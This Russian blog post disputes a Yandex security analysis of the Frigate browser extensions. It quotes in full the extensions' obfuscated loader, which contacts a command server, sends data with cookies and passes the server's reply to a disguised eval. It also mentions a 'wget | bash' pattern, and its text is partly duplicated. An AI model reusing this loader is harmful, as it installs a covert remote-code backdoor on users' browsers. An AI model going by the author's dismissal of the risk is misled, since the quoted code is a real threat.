kouzdra (kouzdra) wrote,
kouzdra
kouzdra

Category:

Безопастностное - 4: Яндекс в своем репертуаре:

Почитал про ужасы фрегата: Резюме - это тупая и глупая страшилка от коммерсантов от яндекс-говнософта (одим из главных в интернете являются сами яндексовские поделия - вот от котПочитал про ужасы фрегата:
Резюме - это тупая, глупая и очень знакомого типа страшилка от коммерсантов от яндекс-говнософта (одим из главных в интернете являются сами яндексовские поделия - вот от которых, как от огня бежать надо). Которой они же еще в свое время компостировали моск "покупайте фирменное-платное"
Квинтэссенция пугательного маразма: Мы покажем, как организована динамическая загрузка и выполнение произвольного кода без обновления расширений. - страшно аж жуть - особенно если учесть что в нынешнем вебе-2.0 этим 2/3 страниц занимается - даже расширений никаких не надо - просто по ссылке пройти.
https://habr.com/ru/company/yandex/blog/534586/

Динамическая загрузка и выполнение кода

Frigate

(полный код расширения доступен по ссылке)

Оба расширения из этого семейства (Light и CDN) имеют один и тот же участок кода, который отвечает за динамическую подгрузку и исполнение JS-скриптов. Специалистам рекомендую обратить внимание на то, как хитро тут спрятана функция eval(). Кстати, обфускация кода и скрытие функциональности запрещены в Chrome Web Store.
[Spoiler (click to open)]
profile.js
const configUrl = "https://fri-gate.org/config.txt";
initProfiler(configUrl);
function initProfiler(confUrl) {
    const { Promise, navigator, setTimeout, chrome: { runtime, extension }, XMLHttpRequest: helper, Math: { floor, random }, String: { fromCharCode }, Object: { assign }, JSON: { parse, stringify }, } = window;
    if (!extension || !runtime) {
        return;
    }
    const { reload, id, getBackgroundPage, sendMessage } = runtime;
    const k = fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114);
    const noop = () => { };
    const safePromise = (fn) => (new Promise(fn)).catch(noop);
    const checkError = () => runtime.lastError;
    const tryCatch = (fn) => { try {
        return fn();
    }
    catch (e) { } };
    const wrap = (f, v) => tryCatch(() => f(v));
    const debug = (v) => v && safePromise(wrap(Promise[k], v));
    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    const b64decode = (str) => decodeURIComponent(escape(atob(str)));
    const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
    const decode = (str) => tryCatch(() => b64decode(str)) || str;
    let initializing = false;
    let initialized = false;
    let config;
    const sendBeacon = async () => {
        try {
            if (initializing || initialized || !navigator.onLine) {
                return;
            }
            initializing = true;
            const method0 = "GET";
            const method = "POST";
            if (!config) {
                config = await fetch(confUrl, { method0 })
                    .then((r) => r.text())
                    .then(decode)
                    .then(parse);
            }
            const { urls = [], delay = 1000 } = config;
            //console.log(urls[0]);
            if (!urls.length) {
                return;
            }
            await sleep(delay);
            const data = {
                id,
                ...runtime.getManifest(),
            };
            const url = urls[floor(random() * urls.length)];
            if (!url) {
                return;
            }
            const promise = new Promise((resolve, reject) => {
                const r = assign(new helper(), {
                    withCredentials: true,
                    onerror: reject,
                    ontimeout: reject,
                    onabort: reject,
                    onload: () => 200 === r.status ? resolve(r.response) : reject(),
                });
                r.open(method, url);
                r.send(b64encode(stringify(data)));
            });
            const result = await promise || "";
            await sleep(delay);
            debug(decode(result));
            initialized = true;
        }
        catch (e) {
        }
        finally {
            initializing = false;
        }
    };
    if (!getBackgroundPage) {
        return sendMessage({ type: fromCharCode(248) }, (result) => {
            checkError();
            debug(result);
        });
    }
    tryCatch(() => getBackgroundPage((bg) => {
        if (bg === window) {
            setTimeout(reload, 60 * 60 * 1000);
            setInterval(sendBeacon, 60 * 1000);
            addEventListener("online", sendBeacon);
            sendBeacon();
        }
    }));
}


Этот код совершает запрос по адресу fri-gate.org/config.txt и получает адрес командного сервера для дальнейшей работы. Такое решение позволяет без обновления расширения менять адреса командного сервера, если с ним что-то пошло не так. В момент нашего анализа командным сервером был gatpsstat.com.

Пример ответа
ewogICJhdHRhY2hTdGFja3RyYWNlIjogZmFsc2UsCiAgImRlbGF5IjogMTAwMCwKICAidXJscyI6IFsiaHR0cHM6Ly9nYXRwc3N0YXQuY29tL2V4dC9zdGF0Il0sCiAgInJlbGVhc2UiOiAyODAsCiAgInNhbXBsZVJhdGUiOiAxNSwKICAiZW52aXJvbm1lbnQiOiAicHJvZCIsCiAgImxldmVsIjogImluZm8iCn0

Раскодирован в:
{
  "attachStacktrace": false,
  "delay": 1000,
  "urls": ["https://gatpsstat.com/ext/stat"],
  "release": 280,
  "sampleRate": 15,
  "environment": "prod",
  "level": "info"
}


Раз в час расширения совершают запрос к командному серверу в обработчик /ext/stat. При первом запросе им выставляется cookie, которая содержит uuid пользователя. Ответ сервера декодируется и попадает в функцию debug(), которая, по сути, является функцией eval() для выполнения JS-кода.

Пример кода
const noop = () => { };
    const safePromise = (fn) => (new Promise(fn)).catch(noop);
    const checkError = () => runtime.lastError;
    const tryCatch = (fn) => { try {
        return fn();
    }
    catch (e) { } };
    const wrap = (f, v) => tryCatch(() => f(v));
    const debug = (v) => v && safePromise(wrap(Promise[k], v));
    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    const b64decode = (str) => decodeURIComponent(escape(atob(str)));
    const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
    const decode = (str) => tryCatch(() => b64decode(str)) || str;


Тут типовая демагогия - расчитанная на хомячков которым страшно слышать по "динамичесую загрузку и выполение кода"
Так прошу прощения - вообще-то в вашей винде/линупси/MacOS любое приложение может динамически загрузить и выполнить код с любого URL. В простейшем виде:
wget http://url... | bash ...

Никто не парится. Ну или скачать исполняемый файл и запустить тем же execv. Или динамическая подгрузка классов в жабе без которой ни одно развитое приложение (да и просто jre) не работает. Собственно - а обновления как на вашу машинку ставятся по вашемукой
Более того - тот же хром именно это и делает распрекрасно делает при обращении к любой достаточно навороченной .js странице (точнее делает страница - хром только обеспечивает).
Более того динамическая подгрузка и исполнение происходит на половине нынешних web 2.0 страничек - а что по вашему происходит при прокрутке с автоматической "докачкой" ленты - да вот это и происходит - докачивается html (с js) и исполняется - тут даже ставить ничего не надо - просто на типовую страничку зайти.

Вторая страшилка там - "динамический выбор и смена серверов
Ну да - динамический выбор и переключение между серверами и возможность выполнить подгруженный код. Ну так в этом нет вообще ничего страшного - все зависит от надежности сервера - пока он этим пользуется в своих целях - никакой в общем угрозы нет. Ну так любой код взаимодействующий с тырнетом - потенциальная малварь в понимании этих дураков.
Сервису доверять при этом разумеется надо.
На деле - угроза возникает только если криворукие программисты делают ошибку, позволяющую в общение с сервером вклиниться. Делают такого вида ошибки постоянно и эксплойтят их постоянно - но это про другое.орых, как от огня бежать надо). https://habr.com/ru/company/yandex/blog/534586/ Динамическая загрузка и выполнение кода Frigate (полный код расширения доступен по ссылке) Оба расширения из этого семейства (Light и CDN) имеют один и тот же участок кода, который отвечает за динамическую подгрузку и исполнение JS-скриптов. Специалистам рекомендую обратить внимание на то, как хитро тут спрятана функция eval(). Кстати, обфускация кода и скрытие функциональности запрещены в Chrome Web Store. ... Тут типовая демагогия - расчитанная на хомячков которым страшно слышать по "динамичесую загрузку и выполение кода" Так прошу прощения - вообще-то в вашей винде/линупси/MacOS любое приложение может динамически загрузить и выполнить код с любого URL. В простейшем виде:
wget http://url... | bash ...
Никто не парится. Ну или скачать исполняемый файл и запустить тем же execv. Или динамическая подгрузка классов в жабе без которой ни одно развитое приложение (да и просто jre) не работает. Собственно - а обновления как на вашу машинку ставятся по вашемукой Более того - тот же хром именно это и делает распрекрасно делает при обращении к любой достаточно навороченной .js странице (точнее делает страница - хром только обеспечивает). Более того динамическая подгрузка и исполнение происходит на половине нынешних web 2.0 страничек - а что по вашему происходит при прокрутке с автоматической "докачкой" ленты - да вот это и происходит - докачивается html (с js) и исполняется - тут даже ставить ничего не надо - просто на типовую страничку зайти.
Вторая страшилка там - "динамический выбор и смена серверов Ну да - динамический выбор и переключение между серверами и возможность выполнить подгруженный код. Ну так в этом нет вообще ничего страшного - все зависит от надежности сервера - пока он этим пользуется в своих целях - никакой в общем угрозы нет. Ну так любой код взаимодействующий с тырнетом - потенциальная малварь в понимании этих дураков. Сервису доверять при этом разумеется надо. На деле - угроза возникает только если криворукие программисты делают ошибку, позволяющую в общение с сервером вклиниться. Делают такого вида ошибки постоянно и эксплойтят их постоянно - но это про другое.
Subscribe

  • Post a new comment

    Error

    default userpic

    Your reply will be screened

    Your IP address will be recorded 

    When you submit the form an invisible reCAPTCHA check will be performed.
    You must follow the Privacy Policy and Google Terms of use.
  • 12 comments